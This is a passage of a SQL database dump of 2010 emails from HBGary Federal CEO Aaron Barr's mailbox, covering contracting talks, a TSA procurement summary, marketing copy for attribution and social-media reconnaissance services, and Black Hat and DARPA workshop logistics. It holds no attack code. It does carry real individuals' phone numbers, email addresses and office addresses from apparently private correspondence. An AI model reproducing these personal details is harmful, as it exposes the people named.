and\r\nprofessional networkers are not permitted to attend.\r\n&nbsp;\r\nThe POC\r\nfeatures &#8220;Headline\r\nSpeakers on Headline Topics&#8221; and your chosen Associate\r\nMembers will be able to register and attend POC Luncheon events on their own\r\nand have full guest privileges as well.\r\n&nbsp;\r\nThe Associate Memberships begin concurrent with your 4x24 membership so you\r\nshould move quickly to take full advantage of the term of the program. \r\n\r\nPlease call or e-mail me with your two colleagues. We need their first and last name, e-mail address, phone number, mailing address, and title and the same info for their\r\nexecutive assistants. \r\n&nbsp;&nbsp;\r\n**Their title is important because they must be VP level or higher. \r\n\r\n&nbsp;\r\n\r\nIn addition we will also need the Name, Email and Contact\r\nnumber for your PR and HR Person. &nbsp;\r\n&nbsp;\r\nPlease help us help you!\r\n&nbsp;\r\nThank you,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDanielle\r\nStradford \r\n\r\nThe Potomac Officers Club\r\nand ExecutiveBiz\r\n\r\n8230 Old\r\n  Courthouse Road, Suite 460\r\n\r\nVienna, VA 22182 \r\n\r\nPhone: 703-226-7017 \r\n\r\nFax: 703-752-7454 \r\n\r\ndanielle@executivebiz.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6864,'aaron_hbgary_com/6864.html'),(9151,'2010-07-26','\"Charlie Scuilla\" <charlie@scuilla.com>','/aaron@hbgary.com/new/1297007058.M101699P14101Q4006.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting Gatorbiat','Aaron:\r\n\r\nHow did the meeting with Mantech go?\r\n\r\nCharlie\r\n\r\n\r\nOn Jun 23, 2010, at 4:13 PM, Aaron Barr wrote:\r\n\r\n> I have a meeting with Mantech early next month.  Forget about  \r\n> Northrop, the lead for this does not have the capability, this is  \r\n> not Xetron but another part of Northrop that has a contentious  \r\n> relationship with Xetron so they will likely not team well  \r\n> internally.  I have reached out to GD to find out what their  \r\n> position is.  Interesting I know Wayne Chunn from way back when he  \r\n> was with Scitor, I don\'t know his new company though.  Everyone else  \r\n> doesn\'t excite me.  Mandiant certainly has some forensics  \r\n> capability, don\'t know how many cleared people they have etc.  CACI  \r\n> I don\'t know much about.  MacB has some capability certainly, we  \r\n> have some contacts there, they are mostly focused in San Antonio.\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Jun 23, 2010, at 10:00 AM, Charlie Scuilla wrote:\r\n>\r\n>> Sorry it t\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> \r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n\r\n',6415,'aaron_hbgary_com/6415.html'),(9152,'2010-07-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007058.M342199P14101Q4007.eml','\"Karen Burke\" <karenmaryburke@gmail.com>,\"Karen Burke\" <karenmaryburke@gmail.com>,,','Blog Post','Here is my final draft. &nbsp;Let me know what you think.Aaron-----------------As a nation we are hemorrhaging; our government, military,\r\ncorporate, and financial institutions are being robbed of their intellectual\r\nproperty and critical resources continuously. &nbsp;Individual banks measure\r\ntheir loses in the millions per month. &nbsp;Commercial corporations watch\r\ntheir intellectual property stream overseas. &nbsp;Our government, military,\r\nand critical infrastructures, the backbone of what keeps the United States\r\nfunctioning and safe are breeched regularly, sensitive information accessed,\r\nand we are challenged to stop the majority of these attacks. &nbsp;Why? &nbsp;The\r\nfull scope of the challenge is complex but most will agree one of the key\r\nissues at the heart of the challenge is our inability to attribute the attacks,\r\nattribute the source and intent of the threats.&nbsp; Without attribution, without an ability to understand\r\ncapability and intent, we struggle to develop adequate defenses to match the threats\r\nas they evolve.&nbsp; Without\r\nattribution we cannot execute effective Courses of Action (COAs) against cyber\r\nthreats or establish effective foreign policies governing responses to such\r\nthreats, because in the end we can not say for certain who launched them.This is not new information. &nbsp;The government and intelligence\r\ncommunity have been aggressively looking for attribution solutions since the\r\nCNCI was signed by President Bush in early 2008. &nbsp;It was a top priority\r\nthen and remains one of the top cyber priorities today. &nbsp;Unfortunately we\r\nare not much closer today in developing capabilities and methodologies that advance\r\nattribution solutions. &nbsp;The challenges are clearly understood. &nbsp;The\r\namount of cyber-based data to analyze is enormous and where do you start.&nbsp; Sources of attack can be spoofed, false\r\nflag operations executed.&nbsp; In the\r\nend unless there are some other indicators or sources of intelligence that can\r\nbe tied to a specific cyber based attack, the likelihood of being able to\r\nattribute an attack is unlikely.Until today.HBGary’s FingerPrint tool, released today, represents a breakthrough\r\nin the development of a viable attribution solution, enabling the clustering of\r\npreviously unrelated malware specimens, which in turn enables the individual\r\npieces of intelligence associated with each specimen to be clustered and\r\nanalyzed collectively.&nbsp; The sources\r\nof the FingerPrint tools success lies within the vehicles of attack themselves\r\n- malware. &nbsp;Like styles used by authors or artists, Malware creators have\r\nspecific styles, they use specific tools, and they develop in specific\r\nenvironments in specific ways. &nbsp;All of these markers are identifiable,\r\neven finger-printable to an author or set of authors. &nbsp;Previously\r\nunassociated malware shows tight clustering based on these threat markers.&nbsp; The FingerPrint tool extracts these\r\nvariables from the malware and puts them into a standard, readable format allowing\r\nfor rapid association and correlation of malware that was created in the same\r\ndevelopment environment by the same authors.&nbsp; The results are significant, providing a starting point for\r\nassociating malware events to authors and providing a better understanding of\r\nthe evolution of threat capabilities and intent.&nbsp; HBGary’s Fingerprint tool enables to possibility of true,\r\nrepeatable cyber attribution.\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16143,'aaron_hbgary_com/16143.html'),(9153,'2010-07-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007058.M577827P14101Q4008.eml','\"Charlie Scuilla\" <charlie@scuilla.com>','Re: Meeting Gatorbiat','Hey Charlie,\r\n\r\nMore to follow next week.  I met with Bob Frisbie, my old boss, who now runs Mantechs work for that organization.  I have signed an NDA with them.  I also mentioned to Bob that you guys were interested as well.  He said he was still working on putting together \"the team\" and was looking for people that could contribute.  I don\'t know exactly what that means, but I will ask him again when I see him next week in our follow up meeting.\r\n\r\nI talked to GD on the phone, they are also interested to talk to us, we have a standing relationship with Jim Jaeger and his group, but I haven\'t heard anything else from him yet.  I think Mantech has potentially the strongest offering going into this, besides maybe Harris/Crucial.\r\n\r\nAaron\r\n\r\n\r\nOn Jul 26, 2010, at 12:09 PM, Charlie Scuilla wrote:\r\n\r\n> Aaron:\r\n> \r\n> How did the meeting with Mantech go?\r\n> \r\n> Charlie\r\n> \r\n> \r\n> On Jun 23, 2010, at 4:13 PM, Aaron Barr wrote:\r\n> \r\n>> I have a meeting with Mantech early next month.  Forget about Northrop, the lead for this does not have the capability, this is not Xetron but another part of Northrop that has a contentious relationship with Xetron so they will likely not team well internally.  I have reached out to GD to find out what their position is.  Interesting I know Wayne Chunn from way back when he was with Scitor, I don\'t know his new company though.  Everyone else doesn\'t excite me.  Mandiant certainly has some forensics capability, don\'t know how many cleared people they have etc.  CACI I don\'t know much about.  MacB has some capability certainly, we have some contacts there, they are mostly focused in San Antonio.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Jun 23, 2010, at 10:00 AM, Charlie Scuilla wrote:\r\n>> \r\n>>> Sorry it t\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6089,'aaron_hbgary_com/6089.html'),(9154,'2010-07-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007058.M960994P14101Q4009.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,,,','TSA','Penny\r\n \r\nDale and I just spoke and he gave us a lot of answers about the procurement process.  Dale said to summarize this for you and that you may call him anytime.\r\n \r\nWhy Procurement has Moved so &quot;spring 2011&quot;\r\n \r\nThe Acquisitions folks have &quot;prioritized&quot; what they will purchase.  They have products tied to approved funding that expires 2010 and they have products that are tied to approved funding that expires 2011.  HBGary falls into the latter category.\r\n\r\n \r\nWho made this decision\r\n \r\nUltimately the Acquisition folks made this decision but it came down to Dale from higher up than the CISO.  Dale reports to Greg Maier who reports to CISO Rick Smith.  Dale said this decision is higher than Rick Smith.  He doesn&#39;t know that they have any power to move Acquisitions.  He does not know exactly how this decision is made at levels higher than Rick Smith.\r\n\r\n \r\nWhat is in the 2 year Procurement Budget\r\nDale will be combining 2 budgets into one.  This one budget will include Cyber Security, Full Packet Capture and eDiscovery.  The paperwork for this will be submitted on or before October 1, 2010.  This is a &quot;competitive&quot; bid process therefore it is not guaranteed that anyone vendor will be selected.  HBGary completed the RFI and submitted a quote so we are in the &quot;competitive bid process&quot; Dale says no other vendor automates memory analysis the way Active Defense does so for that functionality Active Defense is unique and highly desireable. Dale said it will be a combination of products selected -- that no one vendor fits the bill.   \r\n\r\n \r\nWhat can HBGary Do to move thisDale does not believe there is anything that HBGary can do to influence the procurement process.  Dale said that we may speak to his boss but we will be told the exact same thing. \r\n\r\nSole source option\r\nDale says that the only option to the competitive bid is sole source and that Acquisitions would not approve this because there are other solutions/ approaches that may be considered close enough.  He doesn&#39;t believe he can &quot;justify&quot; a sole source option -- that we are not unique enough in the big picture of what needs to be accomplished. And, that sole source would require about 50 signatures.\r\n\r\n \r\nCBP and MIR re: IR tool\r\nDale said that TSA is not involved with CBP and replacing Encase for IR.  Encase Enterprise maintenance will be current...  He does not see this initiative affecting what TSA does.  TSA is planning 4-5 years ahead and has a long term vision which may be different than what other departments are doing.\r\n\r\n \r\nContinuing Resolution\r\nThere is talk about continuing resolution becoming on-going but Dale says this will not affect DHS security budgets.  It is designed for departments like the Treasury etc.  Dale believes that DHS is exempt from this.\r\n\r\n \r\nProcurement Process\r\nOctober 1 the budget for the eDiscovery, Cybersecurity, Full Packet Inspection will be re-allocated.  Dale&#39;s paperwork will be submitted at the same time and based on past experience Dale expects these product to be purchased early spring-- as early as April 2011.\r\n\r\n \r\nWhat can we do to Reduce/Remove Risk during this process\r\nDale says we are doing the right things.  We have a POC scheduled for the lab and the paperwork will be done to move this to production machines (max. time is 3 months).  The Responderthat they use today are demonstrating value and that the POC will show greater value.  If we had Credant decryption that would reduce risk more however because we would have greater value.  However, there is talk to replace Credant so it would be risky for us to provide this feature because in the long run the requirement may change.  If host products were 1 agent and 1 console that would also be a benefit.\r\n\r\n \r\n \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',16399,'aaron_hbgary_com/16399.html'),(9155,'2010-07-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007059.M219346P14101Q4010.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: EOP Brian Christos and Training','I will be at the dinner. &nbsp;If Brian wants to talk about social engineering a bit I will be happy to discuss. &nbsp;A contact in the organization of someone that is interested in training would be helpful. &nbsp;I will be there mostly to support AD.AaronOn Jul 26, 2010, at 8:40 AM, Maria Lucas wrote:Hi Aaron\r\n&nbsp;\r\nI informed Brian that you are doing social engineering training and that you may bring it up at dinner at Black Hat -- not even sure if you will attend.&nbsp; I know that Greg and Penny will be focused on Active Defense and qualifying a pilot etc. so it may make sense to schedule a meeting after BlackHat to review training as a separate opportunity.&nbsp; I suspect that Brian won\'t be involved with training but can tell us who in the organization to contact and maybe provide the referral.\r\n\r\n&nbsp;\r\nIt would be great to have course outlines etc.\r\n&nbsp;\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4936,'aaron_hbgary_com/4936.html'),(9156,'2010-07-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007059.M499983P14101Q4011.eml','aaron@hbgary.com','Out of the Office Re: EOP Brian Christos and Training','I will be out of the office until Monday, July 26 on vacation and will\r\nhave limited access to email.  Penny Leavy-Hoglund is covering for me.\r\n For support questions please go to your web portal account and create\r\na support ticket.  For sales questions related to product or\r\nevaluations please contact Joe Pizzo at joe@hbgary.com or at\r\n917-952-6385.  For renewal or administrative questions please contact\r\nAndrea at andrea@hbgary.com.\r\nFor all other questions Penny can be reached at penny@hbgary.com or\r\n408-316-8002.\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com\r\n',16346,'aaron_hbgary_com/16346.html'),(9157,'2010-07-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007059.M742613P14101Q4012.eml','\"John Verducci\" <john@studioem.com>','Re: 3 graphic requests to follow','Hey John,\r\n\r\nHow are the graphics coming?  Text to follow in a few.  I am in Illinois farm country, had to drive to a mcdonalds 7 miles away to find an open wifi...ugh.\r\n\r\nAaron\r\n\r\nOn Jul 21, 2010, at 12:51 PM, John Verducci wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> I have not yet begun to work on your project as I have a couple of things ahead in the queue. I do most of my work in the Adobe Creative Suite including InDesign.\r\n> \r\n> Thanks\r\n> \r\n> John\r\n> \r\n> \r\n> On Jul 21, 2010, at 8:13 AM, Aaron Barr wrote:\r\n> \r\n>> Hi John,\r\n>> \r\n>> How are the graphics coming? Do you do In-design work?\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Jul 14, 2010, at 7:30 PM, John Verducci wrote:\r\n>> \r\n>>> Thanks Penny.\r\n>>> \r\n>>> Aaron - let me know what you need on these.\r\n>>> \r\n>>> Thanks\r\n>>> \r\n>>> John\r\n>>> \r\n>>> \r\n>>> \r\n>>> On Jul 14, 2010, at 3:56 PM, Penny Leavy-Hoglund wrote:\r\n>>> \r\n>>>> Aaron, you\'ll have to explain to John what you want, what you sent doesn\'t\r\n>>>> make sense to me\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Wednesday, July 14, 2010 9:20 AM\r\n>>>> To: Penny Leavy\r\n>>>> Subject: 3 graphic requests to follow\r\n>>>> \r\n>>>> First one is the top image for the datasheet.  You can download the icons at\r\n>>>> http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n>>>> /\r\n>>>> I would like the HBGary logo to stand out but fit in the grunge style.  2\r\n>>>> more requests to follow.\r\n>>>> \r\n>>>> I would use the following ones:\r\n>>>> blogger\r\n>>>> digg\r\n>>>> facebook\r\n>>>> flickr\r\n>>>> google\r\n>>>> hi5\r\n>>>> linkedin\r\n>>>> myspace\r\n>>>> orkut\r\n>>>> reddit\r\n>>>> skype\r\n>>>> technorati\r\n>>>> twitter\r\n>>>> wordpress\r\n>>>> yahoo\r\n>>>> youtube\r\n>>>> yelp\r\n>>>> \r\n>>>> \r\n>>> \r\n>>> \r\n>>> ______________________\r\n>>> \r\n>>> John Verducci\r\n>>> Studio Em Graphic Design\r\n>>> \r\n>>> 974 Yorkshire Drive\r\n>>> Los Altos, California 94024\r\n>>> \r\n>>> 650.962.9200 Direct\r\n>>> 650.961.8801 Fax\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> \r\n> ______________________\r\n> \r\n> John Verducci\r\n> Studio Em Graphic Design\r\n> \r\n> 974 Yorkshire Drive\r\n> Los Altos, California 94024\r\n> \r\n> 650.962.9200 Direct\r\n> 650.961.8801 Fax\r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7273,'aaron_hbgary_com/7273.html'),(9158,'2010-07-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007059.M999819P14101Q4013.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Social Media Services Datasheet','Here is the text. &nbsp;John is working on the graphics.&nbsp;Information Reconnaissance and ExploitationSixty\r\nfive percent of Americans use social media services with nearly half using them\r\nmore than once per day. Ninety-six percent of Americans between the ages of\r\n18-35 use at least one social media service.&nbsp;The explosive growth\r\nof social media has created a highly effective channel for the collection and\r\naggregation of personal and organizational information for the purposes of\r\ntailoring content for users.&nbsp; To Interact\r\nin a social media ecosystem requires some release of personally identifiable\r\ninformation (PII), in fact with most services the more information you provide\r\nthe more tailored and beneficial the experience.&nbsp; In most cases these are legitimate reasons for providing the\r\ninformation with tangible user benefits, whether it be to more personalize and\r\nlocalize advertising or tailored and real-time information delivery that\r\nincreases personal productivity.&nbsp; Unfortunately\r\nthe same methods are being used to conduct information reconnaissance and\r\nexploitation.&nbsp; The most common\r\ncurrent examples are spear-phishing attacks.&nbsp; Future social media exploitation tactics will likely be\r\napplications and service that provide personal benefit or entertainment, but\r\nserving a dual purpose to collect information that can be used for more\r\ninsidious purposes.&nbsp; This marks a\r\nnew class of exploitation, vehicles directly targeting people rather than the\r\nmachines they use, Infoware.&nbsp;ConsultingNot all Social Media services are created\r\nequal.&nbsp; In many cases understanding\r\nthe proper uses for each of the social media types and informing organization\r\npersonnel of best practices and potential risks can alleviate a lot of\r\nconfusion and information control issues.&nbsp;\r\nHBGary Federal staff is comprised of social media technologists, designers\r\nand developers as well as cybersecurity and malware experts to assist your\r\norganization in effective use of social media communications and collaboration\r\ntools while maintaining a manageable security architecture.&nbsp; Our in-depth knowledge of the\r\npossibilities of information exploitation gives us an effective perspective to\r\ninform organizations on the potential vulnerabilities of social media use,\r\nespecially in those areas that might not be obvious such as the aggregated\r\ninformation exposure through use of multiple social media services across an\r\norganizations staff.TrainingAs is typical of most areas, technology has\r\nmoved faster than security.&nbsp; Currently\r\nthere are virtually no technologies that help protect organizations from information\r\nexposure across the social media landscape.&nbsp; Our 1-day training program aims to familiarize organizations\r\nwith the social media landscape as well as complementary technologies that will\r\nincrease the potential for information exposure in coming months and\r\nyears.&nbsp; The course provides\r\ninformation on effective use of social media both for personal and professional\r\nuse and covers the risks of social media use.&nbsp; There is an interactive section of the course that covers\r\nsome information exploitation use cases using current popular social media\r\nservices and social reconnaissance techniques, where we demonstrate the impact\r\nboth personally and to organizations.&nbsp;\r\nThe course ends with some protective measures that can be incorporated\r\ninto personal social media use and organizational policies and directives to\r\nlimit information exposure, as well we cover some technologies that can be used\r\nto better monitor and block certain types of information exposure.\r\n\r\n\r\n \r\n  Course\r\n  Curriculum\r\n  \r\n \r\n \r\n  Familiarization\r\n  \r\n \r\n \r\n  Effective Use\r\n  \r\n \r\n \r\n  Risks\r\n  \r\n \r\n \r\n  Use Cases\r\n  \r\n \r\n \r\n  Protective MeasuresInformation\r\nExposure Monitoring and PenTestingIn today’s content rich social media\r\nenvironment each post, personal link, or location check-in represents a data\r\npoint, which because of the open nature of the environment can be easily\r\ncollected and correlated to other data points, whether by company, profession,\r\nassociation, or location.&nbsp; Because\r\nof the volume of information and the complexity of the potential relationships created\r\nit can be difficult to comprehend the vulnerabilities created by seemingly\r\ninnocuous releases of information.&nbsp;\r\nWhat people list on their professional online profile, friends they\r\nassociate with on their personal profiles, messages they post, and places they\r\ncheck in can tell a significant amount about a person.&nbsp; Aggregated information collected on\r\nindividuals associated with a particular company or organization can tell far\r\nmore about the organizations internal operations then they would likely want\r\npublically available.&nbsp; HBGary\r\nFederal provides information exposure monitoring services to identify potential\r\nunintended releases of information across an aggregate of social media\r\nservices.\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7602,'aaron_hbgary_com/7602.html'),(9159,'2010-07-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007060.M255228P14101Q4014.eml','\"John Verducci\" <john@studioem.com>','Re: 3 graphic requests to follow','Text.Can you give me a call when you get a sec. &nbsp;719.510.8478Information Reconnaissance and ExploitationSixty five percent of Americans use social media services with nearly half using them more than once per day. Ninety-six percent of Americans between the ages of 18-35 use at least one social media service.&nbsp;The explosive growth of social media has created a highly effective channel for the collection and aggregation of personal and organizational information for the purposes of tailoring content for users.&nbsp;&nbsp;To Interact in a social media ecosystem requires some release of personally identifiable information (PII), in fact with most services the more information you provide the more tailored and beneficial the experience.&nbsp;&nbsp;In most cases these are legitimate reasons for providing the information with tangible user benefits, whether it be to more personalize and localize advertising or tailored and real-time information delivery that increases personal productivity.&nbsp;&nbsp;Unfortunately the same methods are being used to conduct information reconnaissance and exploitation.&nbsp;&nbsp;The most common current examples are spear-phishing attacks.&nbsp;&nbsp;Future social media exploitation tactics will likely be applications and service that provide personal benefit or entertainment, but serving a dual purpose to collect information that can be used for more insidious purposes.&nbsp;&nbsp;This marks a new class of exploitation, vehicles directly targeting people rather than the machines they use,&nbsp;Infoware.&nbsp;ConsultingNot all Social Media services are created equal.&nbsp;&nbsp;In many cases understanding the proper uses for each of the social media types and informing organization personnel of best practices and potential risks can alleviate a lot of confusion and information control issues.&nbsp;&nbsp;HBGary Federal staff is comprised of social media technologists, designers and developers as well as cybersecurity and malware experts to assist your organization in effective use of social media communications and collaboration tools while maintaining a manageable security architecture.&nbsp;&nbsp;Our in-depth knowledge of the possibilities of information exploitation gives us an effective perspective to inform organizations on the potential vulnerabilities of social media use, especially in those areas that might not be obvious such as the aggregated information exposure through use of multiple social media services across an organizations staff.TrainingAs is typical of most areas, technology has moved faster than security.&nbsp;&nbsp;Currently there are virtually no technologies that help protect organizations from information exposure across the social media landscape.&nbsp;&nbsp;Our 1-day training program aims to familiarize organizations with the social media landscape as well as complementary technologies that will increase the potential for information exposure in coming months and years.&nbsp;&nbsp;The course provides information on effective use of social media both for personal and professional use and covers the risks of social media use.&nbsp;&nbsp;There is an interactive section of the course that covers some information exploitation use cases using current popular social media services and social reconnaissance techniques, where we demonstrate the impact both personally and to organizations.&nbsp;&nbsp;The course ends with some protective measures that can be incorporated into personal social media use and organizational policies and directives to limit information exposure, as well we cover some technologies that can be used to better monitor and block certain types of information exposure.Course CurriculumFamiliarizationEffective UseRisksUse CasesProtective MeasuresInformation Exposure Monitoring and PenTestingIn today’s content rich social media environment each post, personal link, or location check-in represents a data point, which because of the open nature of the environment can be easily collected and correlated to other data points, whether by company, profession, association, or location.&nbsp;&nbsp;Because of the volume of information and the complexity of the potential relationships created it can be difficult to comprehend the vulnerabilities created by seemingly innocuous releases of information.&nbsp;&nbsp;What people list on their professional online profile, friends they associate with on their personal profiles, messages they post, and places they check in can tell a significant amount about a person.&nbsp;&nbsp;Aggregated information collected on individuals associated with a particular company or organization can tell far more about the organizations internal operations then they would likely want publically available.&nbsp;&nbsp;HBGary Federal provides information exposure monitoring services to identify potential unintended releases of information across an aggregate of social media services.On Jul 21, 2010, at 12:51 PM, John Verducci wrote:Hi Aaron,I have not yet begun to work on your project as I have a couple of things ahead in the queue. I do most of my work in the Adobe Creative Suite including InDesign.ThanksJohnOn Jul 21, 2010, at 8:13 AM, Aaron Barr wrote:Hi John,How are the graphics coming? Do you do In-design work?AaronOn Jul 14, 2010, at 7:30 PM, John Verducci wrote:Thanks Penny.Aaron - let me know what you need on these.ThanksJohnOn Jul 14, 2010, at 3:56 PM, Penny Leavy-Hoglund wrote:Aaron, you\'ll have to explain to John what you want, what you sent doesn\'tmake sense to me-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Wednesday, July 14, 2010 9:20 AMTo: Penny LeavySubject: 3 graphic requests to followFirst one is the top image for the datasheet. &nbsp;You can download the icons athttp://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons/I would like the HBGary logo to stand out but fit in the grunge style. &nbsp;2more requests to follow.I would use the following ones:bloggerdiggfacebookflickrgooglehi5linkedinmyspaceorkutredditskypetechnoratitwitterwordpressyahooyoutubeyelp&lt;PastedGraphic-2.pdf&gt;&lt;ATT00255.txt&gt;______________________John VerducciStudio Em Graphic Design974 Yorkshire DriveLos Altos, California 94024650.962.9200 Direct650.961.8801 FaxAaron BarrCEOHBGary Federal Inc.______________________John VerducciStudio Em Graphic Design974 Yorkshire DriveLos Altos, California 94024650.962.9200 Direct650.961.8801 Fax\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6088,'aaron_hbgary_com/6088.html'),(9160,'2010-07-26','\"DARPA-BAA-10-84\" <DARPA-BAA-10-84@darpa.mil>','/aaron@hbgary.com/new/1297007060.M660084P14101Q4015.eml','','- Save the Date- CINDER Industry Day Workshop','On behalf of Peiter \"Mudge\" Zatko, we are pleased to announce the Cyber-Insider (CINDER) Industry Day Workshop. The Defense Advanced Research Projects Agency (DARPA) will host two Proposers\' Day Workshops in support of the new DARPA-BAA-10-84, Cyber-Insider (CINDER) program. These workshops will be held on both the East and West cost. \r\n\r\nThe East Cost Proposer\'s Day Workshop: August 31, 2010 at System Planning Corporation, 3601 Wilson Blvd, Apt 500, Arlington, VA 22201 from 8:00 AM to 5:00 PM (EST). The West Cost Proposer\'s Day Workshop has been tentatively scheduled for Sept 2, 2010 in the San Francisco area (more details to follow)\r\n\r\nMeeting details and registration information will be included in future emails.\r\n\r\nThe CINDER workshops will:\r\n*	Introduce the program manager \r\n*	Provide information on the Cyber-Insider Program \r\n*	Answer questions about working with DARPA\r\n*	Facilitate meetings with potential partners (and competitors)\r\n*	Facilitate networking and teaming opportunities\r\n*	Promote a hacker approach to insider threat detection\r\n\r\nThe Cyber Insider Threat (CINDER) program will develop novel approaches to detect ongoing activities within government and military interest systems and networks  that are conducted in support of adversary goals. The goal of CINDER will be to greatly increase the accuracy, rate and speed with which insider threat missions are detected and impede the ability of adversaries to conduct missions undetected within government and military interest networks. Attendance to the workshop is not required to propose to DARPA-BAA-10-84.\r\n\r\nThe CINDER Workshop is open to all U.S. Citizens and intended for a wide range of potential performers. Interested individuals, consultants, small businesses, laboratories, and universities with applicable backgrounds are expressly invited.  These workshops are not intended for parties who are not interested in bidding or participating on a bidding team, e.g. the public or members of the press. \r\n\r\nAttendees will be afforded the opportunity to present company overviews, discuss their technology expertise, and/or discuss teaming opportunities in scheduled presentations at the workshop may request to do so. Attendees will also have the opportunity to meet individually with Mr. Peiter \"Mudge\" Zatko, the Cyber-Insider Program Manager.\r\n \r\nPlease feel free to contact us with any questions.\r\n\r\nRegards,\r\nCyber-Insider Team\r\nDARPA/STO\r\n\r\n\r\n\r\n',10461,'aaron_hbgary_com/10461.html'),(9161,'2010-07-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007060.M893313P14101Q4016.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: Black Hat Info','DeeAnn,I didn\'t receive confirmation. &nbsp;How much are the rooms a night? &nbsp;If they are too much I was thinking of booking Ballys across the street.AaronOn Jul 13, 2010, at 4:53 PM, DeeAnn Buonaccorsi wrote:Hi Guys,&nbsp;&nbsp;You are expected to be at this how July 27-29.&nbsp; I have made Hotel reservations for all that will be attending.&nbsp; You should have &nbsp;Caesars Palace &nbsp;confirmation. &nbsp;&nbsp;Below are the set up and break down instructions.&nbsp; Please contact me if you have any questions.&nbsp;&nbsp; Reminder:&nbsp; I still need flight info from most of you.&nbsp;Display set-up is on July 26 from 15:00-18:00 and Tuesday, July 27 from 09:00–18:00. Set-up is bestdone before 18:00 when GES staff are available. You will need to be fully ready to go by 08:00 onJuly 28. Teardown will begin at 16:45 on July 29, with crates not available until 16:45.&nbsp;Under nocircumstances are sponsors permitted to tear down in advance of these times without writtenpermission from Black Hat management.&nbsp;The displays need not be fully staffed all of the time, andwe expect that staffing will be most productive during the continental breakfasts and coffee breaks onJuly 28 and 29. Please refer to the schedule on the Black Hat website. Repeating the format of lastyear, the Hosted Reception will be held from 18:00-19:30 on the evening of July 28, mixed in andaround all of the displays. You may use your own judgment re staffing levels during these times.Your company has already been assigned space at the time you reserved your sponsorship. Alllocations have equal access to the delegates.&nbsp;&nbsp;DeeAnn BuonaccorsiOffice ManagerHBGary, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864Tel:&nbsp; 916-459-4727 ext. 101Fax: 916-481-1460Email&nbsp;&nbsp;deeann@hbgary.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6245,'aaron_hbgary_com/6245.html'),(9162,'2010-07-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007061.M138438P14101Q4017.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: - Save the Date- CINDER Industry Day Workshop','Begin forwarded message:From: DARPA-BAA-10-84 &lt;DARPA-BAA-10-84@darpa.mil&gt;\r\nDate: July 26, 2010 11:20:59 AM MDTTo: Undisclosed recipients:;Subject: - Save the Date- CINDER Industry Day Workshop \r\nOn behalf of Peiter &quot;Mudge&quot; Zatko, we are pleased to announce the Cyber-Insider (CINDER) Industry Day Workshop. The Defense Advanced Research Projects Agency (DARPA) will host two Proposers&#39; Day Workshops in support of the new DARPA-BAA-10-84, Cyber-Insider (CINDER) program. These workshops will be held on both the East and West cost. \r\nThe East Cost Proposer&#39;s Day Workshop: August 31, 2010 at System Planning Corporation, 3601 Wilson Blvd, Apt 500, Arlington, VA 22201 from 